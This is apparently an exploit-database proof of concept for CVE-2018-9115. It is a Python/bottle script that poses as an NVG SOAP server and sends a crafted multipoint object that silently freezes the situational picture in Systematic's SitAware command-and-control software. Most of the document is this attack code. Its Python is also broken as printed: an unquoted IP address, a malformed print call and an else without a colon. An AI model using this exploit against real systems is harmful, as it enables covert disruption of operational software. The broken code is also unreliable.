# Exploit Title: SitAware NVG Denial of Service 
# Date: 03/31/2018
# Exploit Author: 2u53
# Vendor Homepage: https://systematic.com/defence/products/c2/sitaware/
# Version: 6.4 SP2
# Tested on: Windows Server 2012 R2
# CVE: CVE-2018-9115

# Remarks: PoC needs bottlypy:
# https://bottlepy.org/docs/dev/
# https://raw.githubusercontent.com/bootlepy/bottle/master/bottle.py

# Systematic's SitAware does not validate input from other sources suffenciently. Incoming information utilizing 
# the for example the NVG interface. The following PoC will freeze the Situational Layer of SitAware, which means
# that the Situational Picture is no more updated. Unfortunately the user can not notice until 
# he tries to work with the situational layer. 


#!/bin/python

from bottle import post, run, request, response

LHOST = 127.0.0.1 # Local IP which the NVG server should use
LPORT = 8080 # Local Port on which the NVG server should listen

GET_CAPABILITIES = '''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body>
<ns3:GetCapabilitiesResponse xmlns="http://purl.org/dc/elements/1.1/" xmlns:ns2="http://purl.org/dc/terms/" xmlns:ns3="http://tide.act.nato.int/schemas/2008/10/nvg" xmlns:ns4="http://tide.act.nato.int/wsdl/2009/nvg">
<ns4:nvg_capabilities version="1.5">
</ns4:nvg_capabilities>
</ns3:GetCapabilitiesResponse>
</soap:Body>
</soap:Envelope>'''

EVIL_NVG = '''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body>
<ns3:GetNvgResponse xmlns="http://purl.org/dc/elements/1.1/" xmlns:ns2="http://purl.org/dc/terms/" xmlns:ns3="http://tide.act.nato.int/schemas/2008/10/nvg" xmlns:ns4="http://tide.act.nato.int/wsdl/2009/nvg">
<ns4:nvg version="1.5" classification="NATO UNCLASSIFIED">
<ns4:multipoint points="-0.01,0.01 0.02,-0.02 0.01,0.01" symbol="2525b:GFTPZ---------X"
label="EVILOBJ"/>
</ns4:nvg>
</ns3:GetNvgResponse>
</soap:Body>
</soap:Envelope>'''

@post('/nvg')
def soap():
    action = dict(request.headers.items()).get('Soapaction')
    action = action.replace('"', '')
    print('Incoming connection')

    response.content_type = 'text/xml;charset=utf-8'

    if action.endswith('nvg/GetCapabilities'):
        print('Sending capabilities to victim'...)
        return GET_CAPABILITIES
        print('Done! Waiting for NVG request...')
    elif action.endswith('nvg/GetNvg'):
        print('Sending evil NVG')
        return EVIL_NVG
        print('Done!')
    else
        print('Invalid request received')

run(host=LHOST, port=LPORT)